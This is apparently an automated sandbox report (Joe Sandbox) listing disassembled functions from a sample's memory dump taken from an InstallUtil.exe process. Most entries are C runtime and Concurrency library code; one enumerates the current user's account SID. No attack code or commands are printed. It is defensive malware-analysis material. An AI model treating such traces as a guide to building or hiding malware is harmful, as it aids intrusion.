_ValidateLocalCookies.LIBCMT ref: 004364B8
__IsNonwritableInCurrentImage.LIBCMT ref: 004364E3
_ValidateLocalCookies.LIBCMT ref: 00436538

Strings

csm, xrefs: 004364CD

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 232714267d75069691dcf3f02f052871774228f9d42fd62849910573980992f3
Instruction ID: 0be695df6b20ea967fce9ae93ff23de7b6423614aa0a06daad3692a2d900e909
Opcode Fuzzy Hash: 232714267d75069691dcf3f02f052871774228f9d42fd62849910573980992f3
Instruction Fuzzy Hash: 8E410830E00209BBCF10DF69D884A9EBBB4AF4931CF15C15BE9145B352D739E945CB99

Function 004336D6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 004336EF

Part of subcall function 004339BE: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00433437), ref: 004339CE

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00433704
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00433713
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004337D7

Strings

pContext, xrefs: 004337CF
switchState, xrefs: 0043370B

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: pContext$switchState
API String ID: 1312548968-2660820399
Opcode ID: eef60890732df80f680cdeebb81ff18e6be9942e24b56f76eafa00147f133741
Instruction ID: 47dee70210b3a61912cc1c6cdfa8c4a98a4efab467d3d86e79ee22ae230f6d30
Opcode Fuzzy Hash: eef60890732df80f680cdeebb81ff18e6be9942e24b56f76eafa00147f133741
Instruction Fuzzy Hash: 8531E7B5A00214ABCF04EF64C485E6E73B9AF4C315F20956BE81197351DB78DF058B98

Function 0043035F Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00430387

Part of subcall function 004300F4: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00430127
Part of subcall function 004300F4: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00430149

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00430404
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00430410
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0043041F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00430429
Concurrency::location::_Assign.LIBCMT ref: 0043045D
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00430465

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 5ad31b6f19f4e23bf1bc97d5c86d8b8b58d0317c017f7a44a3480847d60839cf
Instruction ID: 7c251e75249f3931f72f2def75d30ab76ff0987cf3a3fc8fb8fc4946541953a0
Opcode Fuzzy Hash: 5ad31b6f19f4e23bf1bc97d5c86d8b8b58d0317c017f7a44a3480847d60839cf
Instruction Fuzzy Hash: 2E416A35A00218DFCF05EF65C494AAEB7B5FF48304F1481AADD099B342DB38AA41CF95

Function 0042B845 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0042B84C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 0042B898
std::bad_exception::bad_exception.LIBCMT ref: 0042B8AE
Concurrency::SchedulerPolicy::_ResolvePolicyValues.LIBCONCRT ref: 0042B8F0
std::bad_exception::bad_exception.LIBCMT ref: 0042B91A

Strings

;pB, xrefs: 0042B8C6

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::PolicyPolicy::_Schedulerstd::bad_exception::bad_exception$H_prolog3_catchResolveValidValueValues
String ID: ;pB
API String ID: 921398678-1620216361
Opcode ID: 27e938fc1ca11f732133da0268549d38dac8bc9c4ca9cbb07a0ce3fc0f69a77b
Instruction ID: 144c26f12cbedf3bd628ae482be37be789e189ed8a4b800e8175c458c2a7d4a1
Opcode Fuzzy Hash: 27e938fc1ca11f732133da0268549d38dac8bc9c4ca9cbb07a0ce3fc0f69a77b
Instruction Fuzzy Hash: 8721F775A00224EFDB04EF65E482AADB7B4EF04314F60402FF505AB251EF39AD46CB99

Function 00440C1E Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00440BE6: _free.LIBCMT ref: 00440C0B

_free.LIBCMT ref: 00440C6C

Part of subcall function 0043C935: HeapFree.KERNEL32(00000000,00000000,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?), ref: 0043C94B
Part of subcall function 0043C935: GetLastError.KERNEL32(?,?,00440C10,?,00000000,?,?,?,00440C37,?,00000007,?,?,00441039,?,?), ref: 0043C95D

_free.LIBCMT ref: 00440C77
_free.LIBCMT ref: 00440C82
_free.LIBCMT ref: 00440CD6
_free.LIBCMT ref: 00440CE1
_free.LIBCMT ref: 00440CEC
_free.LIBCMT ref: 00440CF7

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1c92c1e39c368c871365a5fd099445d5bf14548ec3b822f22997ad0ae516ad5e
Instruction ID: 8d718bd90a59f9164c0984d919fcf87d2d46b612e6f8006e9ed12c74a1e0f3c5
Opcode Fuzzy Hash: 1c92c1e39c368c871365a5fd099445d5bf14548ec3b822f22997ad0ae516ad5e
Instruction Fuzzy Hash: 7C117F71948B44BAF521BBB2CC47FCF779D9F09748F40091EB3996A0A2DB38B5144798

Function 00441802 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00408EF0,00000000), ref: 0044184A
__fassign.LIBCMT ref: 00441A29
__fassign.LIBCMT ref: 00441A46
WriteFile.KERNEL32(?,00408EF0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00441A8E
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00441ACE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00441B7A

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 5ce84947dbffc26930e4e40264852410e3f1fa74a8f0d34e727992211468e8aa
Instruction ID: f2618a497450bd28eb88c4dd3efb5095ea4887d44554cc3c8a6c0eefa1d81dbf
Opcode Fuzzy Hash: 5ce84947dbffc26930e4e40264852410e3f1fa74a8f0d34e727992211468e8aa
Instruction Fuzzy Hash: 5DD1DE71D012889FDF15CFA8C8809EDBBB5FF49314F28016AE855B7361E634A986CB58

Function 0043048D Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 004304CE
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 004304D6
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00430500
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00430509
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0043058C
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00430594

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: 97886e2c8d00df8cbbb7d0ab0e00b6d5ee63b9bd53e1288fb3f9484de1255a37
Instruction ID: 1c106570f2b417080cb2af5e474d2c7719216eea7645f521e18565d7cf8b88ff
Opcode Fuzzy Hash: 97886e2c8d00df8cbbb7d0ab0e00b6d5ee63b9bd53e1288fb3f9484de1255a37
Instruction Fuzzy Hash: B7414A35A00618AFCF09DF65C554AADBBB5FF88314F00816AE906A7391CB78AE01CF85

Function 00420A0F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00420A6C
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00420A78
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00420A91
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00420ABF
Concurrency::Context::Block.LIBCONCRT ref: 00420AE1

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 35f988b8bda12ad409afc5816c6d34814d13670707a81c5994c1460bda59b5bf
Instruction ID: 5702b8abbd8eb874183acf615c5a91acc52174eb5b4301a370809cdf78a6fc60
Opcode Fuzzy Hash: 35f988b8bda12ad409afc5816c6d34814d13670707a81c5994c1460bda59b5bf
Instruction Fuzzy Hash: CD21D670E003258ADF24DFA4E4456EFB7F0AF24314FE04A2FE051A6292E7794A44CB59

Function 0042BBD6 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0042BC19

Part of subcall function 0042D110: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0042D15F

GetCurrentThread.KERNEL32 ref: 0042BC23
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0042BC2F

Part of subcall function 00421F38: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 00421F4A

Part of subcall function 004223C4: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 004223CB

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 0042BC72

Part of subcall function 0042D0C2: SetEvent.KERNEL32(?,?,0042BC77,0042CA0B,00000000,?,00000000,0042CA0B,00000004,0042D0B7,?,00000000,?,?,00000000), ref: 0042D106

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0042BC7B

Part of subcall function 0042C6F1: List.LIBCONCRT ref: 0042C727

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0042BC8B

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: b945ca5b38dfc7ec49367849059480d98751b47857ecaa26400a263a934dadb4
Instruction ID: a86ab99007b80cd4318e81568dfb6f49a0d4f3c493aba8d79bd6d3cbd09c1720
Opcode Fuzzy Hash: b945ca5b38dfc7ec49367849059480d98751b47857ecaa26400a263a934dadb4
Instruction Fuzzy Hash: 8921AE31600A249FCB25EF66E9918AEB3F4FF4C304740495EE542A7661CB78E905CB99

Function 00436AE7 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00436ADE,0043569F,0041D105,C4066FA1,?,00000000,0044D138,000000FF,?,004023EA,?,?), ref: 00436AF5
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00436B03
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00436B1C
SetLastError.KERNEL32(00000000,?,00436ADE,0043569F,0041D105,C4066FA1,?,00000000,0044D138,000000FF,?,004023EA,?,?), ref: 00436B6E

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 11de24d7ef283a07d4d289942dcda9e6e46365055e1ee68f1a1e5dd1043db497
Instruction ID: 64afd0aa881a21da6695e9c08b2b1d300044f94112b221f3d35acfdecf5b48ac
Opcode Fuzzy Hash: 11de24d7ef283a07d4d289942dcda9e6e46365055e1ee68f1a1e5dd1043db497
Instruction Fuzzy Hash: E001F53250C2322EEA2526B57C85D276A54DB4A778F21B23FF314911E1EE995801598D

Function 004217CB Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 004217D9
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 004217DF
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0042180C
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00421816
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 00421828
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0042183E

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 39ae7cdf81211eed0041df450f7c3993da580c69c1f0efac47d1d52194aeb3cd
Instruction ID: f0d7a43e335b27e5f9cf903c92e791b1b7dadf30e8f8a4a35ccbb408e934ba98
Opcode Fuzzy Hash: 39ae7cdf81211eed0041df450f7c3993da580c69c1f0efac47d1d52194aeb3cd
Instruction Fuzzy Hash: 7F012831700221A7DB10BB61ED85AAF376CEB51716F90043BF616D21A1DF78D800C6AD

Function 004333D7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00433432
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00433451
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00433498

Strings

pContext, xrefs: 00433449

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1284976207-2046700901
Opcode ID: e381638df52df8ecfe077f50780f4f20f07ae2780b96ad58d72d056fd22eac81
Instruction ID: b0981f454f4c1eac855821c2d744fc292c1400c1b0b7c34607727c3d93dd2e97
Opcode Fuzzy Hash: e381638df52df8ecfe077f50780f4f20f07ae2780b96ad58d72d056fd22eac81
Instruction Fuzzy Hash: F32107317006119BCB05EF29D885ABD73A5BF9833AF40152FE51187291CBACEE428B89

Function 0043FB26 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, xrefs: 0043FB2B

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
API String ID: 0-2118511638
Opcode ID: 6c755d650fb24eaabd80f861e26813cde56eaed8332dbf461241a3e277a1c400
Instruction ID: ce62e5692c7f18bc4bd50ddcce33932197f7c95a86f8e6ac2ef3239ea4180703
Opcode Fuzzy Hash: 6c755d650fb24eaabd80f861e26813cde56eaed8332dbf461241a3e277a1c400
Instruction Fuzzy Hash: 2221A4B1A04105AF9B206E72DC91D27B76CAA18368F10552AF525C7241E778FC048BA8

Function 00426A52 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00426AB1
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00426AD4
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00426B16

Strings

ppVirtualProcessorRoots, xrefs: 00426ACC
count, xrefs: 00426A6A

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 18808576-3650809737
Opcode ID: 99012e2051da3ceb5787496b598d5e572e6ab841b360cc2cf833861ddec904af
Instruction ID: 87431736fbf89b672c5b3ab14563e902372f30f048847932fb4f289713be560f
Opcode Fuzzy Hash: 99012e2051da3ceb5787496b598d5e572e6ab841b360cc2cf833861ddec904af
Instruction Fuzzy Hash: 5F21F134700625AFCB04EF69D991EAD77B4BF49304F50406FF506AB291DB79AE01CB48

Function 00438D49 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00438D8B

Strings

.com, xrefs: 00438DCB
.cmd, xrefs: 00438DA9
.exe, xrefs: 00438D98
.bat, xrefs: 00438DBA

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: d835319d7822e5b4b09bfecfe15735e165f904cef182b5d8e2bc2e77ac4b8f03
Instruction ID: 5790cc88a5e9867f81d673b1762e3b69727ebf0b439b289458309faaf1d62c26
Opcode Fuzzy Hash: d835319d7822e5b4b09bfecfe15735e165f904cef182b5d8e2bc2e77ac4b8f03
Instruction Fuzzy Hash: 92010837A14751252614201DAC02A2B97A88F9AFB8F25102FF854FBBC1EF4DDC45019C

Function 0043C1B1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004384FA,?,?,?,?,0043912E,?), ref: 0043C1B6
_free.LIBCMT ref: 0043C213
_free.LIBCMT ref: 0043C249
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,004384FA,?,?,?,?,0043912E,?), ref: 0043C254

Strings

xAF, xrefs: 0043C23C

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: xAF
API String ID: 2283115069-3548281371
Opcode ID: 88c9df543ac2b3bf2d9a8e8aca7e3871e22d0b0afd922f624b073393ab19c6bc
Instruction ID: 6a4d79de7120cacfaf493d9e0d46a070e8efc6e470ca145950f60ab9dc29e1eb
Opcode Fuzzy Hash: 88c9df543ac2b3bf2d9a8e8aca7e3871e22d0b0afd922f624b073393ab19c6bc
Instruction Fuzzy Hash: 7D11EB726447002BDA1126B56CC5E2B25569BCF778F24223BF614B22D2EE6D8C02575D

Function 0043C308 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004390C8,00402207), ref: 0043C30D
_free.LIBCMT ref: 0043C36A
_free.LIBCMT ref: 0043C3A0
SetLastError.KERNEL32(00000000,00000006,000000FF,?,004390C8,00402207), ref: 0043C3AB

Strings

xAF, xrefs: 0043C393

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: xAF
API String ID: 2283115069-3548281371
Opcode ID: 3ded340db6b2efab2b348052bba9611f75c7207f7436fcb5dc4f73c39da856d5
Instruction ID: 900c6fad6d1ff589dada16d32c934b88e99ac9349a8cbcfc2881d76dfe288923
Opcode Fuzzy Hash: 3ded340db6b2efab2b348052bba9611f75c7207f7436fcb5dc4f73c39da856d5
Instruction Fuzzy Hash: 2C110A322047002BD61122756CC5E5B2559ABDF379F64623BF910A22E1EF6A8C01435D

Function 00437B67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00437BB7

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 7e76bf23cbdf23757f12196109ed102dee059a4d46bcd93af22b7eb82abd0469
Instruction ID: 5b73d35d263d8ab2dcfbadec38d67abaef98ecd6a8189ad960b5c68a1d389656
Opcode Fuzzy Hash: 7e76bf23cbdf23757f12196109ed102dee059a4d46bcd93af22b7eb82abd0469
Instruction Fuzzy Hash: 1811E9B1A09221ABC7324B689C40F1FB774AF09BA9F111163E941AB391D734FC00C6D9

Function 00433C44 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00433C64
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00433C75
StructuredWorkStealingQueue.LIBCMT ref: 00433CAB
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00433CBC

Strings

e, xrefs: 00433C86

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: da958fd43f9ea1544d0bb33de3a06e364c85cc53c8e11fef37cb694c08dfa698
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: FE1194326001049BDB10DF2AC9556AB73A49F06356F18F06FE805EF342DA39EF05DB99

Function 0043811D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00438112,?,?,004380DA,?,?,?), ref: 00438132
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00438145
FreeLibrary.KERNEL32(00000000,?,?,00438112,?,?,004380DA,?,?,?), ref: 00438168

Strings

mscoree.dll, xrefs: 0043812B
CorExitProcess, xrefs: 0043813D

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2ef91007a3d93b13d7d728fb9952788b57a4b9f245edb0721353c2628a9d9e82
Instruction ID: 174c4bbef490f88091bffd005f0eb49afc99a25181ff5a3fc50994fc2a255077
Opcode Fuzzy Hash: 2ef91007a3d93b13d7d728fb9952788b57a4b9f245edb0721353c2628a9d9e82
Instruction Fuzzy Hash: 46F08231500319FBDF129B50DE0AB9EBB75FB45757F100066F900A12A1CBB9CE45DA98

Function 00406DD0 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00406E2A
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00406E70
GetSidIdentifierAuthority.ADVAPI32(?), ref: 00406E7D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00406F91
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 00406FB8

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: Authority$Name$AccountCountIdentifierLookupUser
String ID:
API String ID: 4230999276-0
Opcode ID: 4b37db5202d0b960742063bc078b218f086b8a9a3c622388f710a4982cbae85e
Instruction ID: 1f86d1a2ab2470c621d643a3fc1cd57f9adbb2d7b9e6eca7587fb212086761f3
Opcode Fuzzy Hash: 4b37db5202d0b960742063bc078b218f086b8a9a3c622388f710a4982cbae85e
Instruction Fuzzy Hash: 5391B1B19001189BDB28DF24CC85BDDB779EB45304F5041FEE609A7282DA789EC48FA9

Function 00438A81 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 00438AA3
GetFileInformationByHandle.KERNEL32(?,?), ref: 00438AFD
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,004389B3,?,000000FF), ref: 00438B8B
__dosmaperr.LIBCMT ref: 00438B92
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00438BCF

Part of subcall function 00438DF7: __dosmaperr.LIBCMT ref: 00438E2C

Memory Dump Source

Source File: 0000000A.00000002.2062449829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_InstallUtil.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 15ad45b5dd4ce7aa3fa00d92e7d2803bd62353a50f60b283bc495980a22579e1
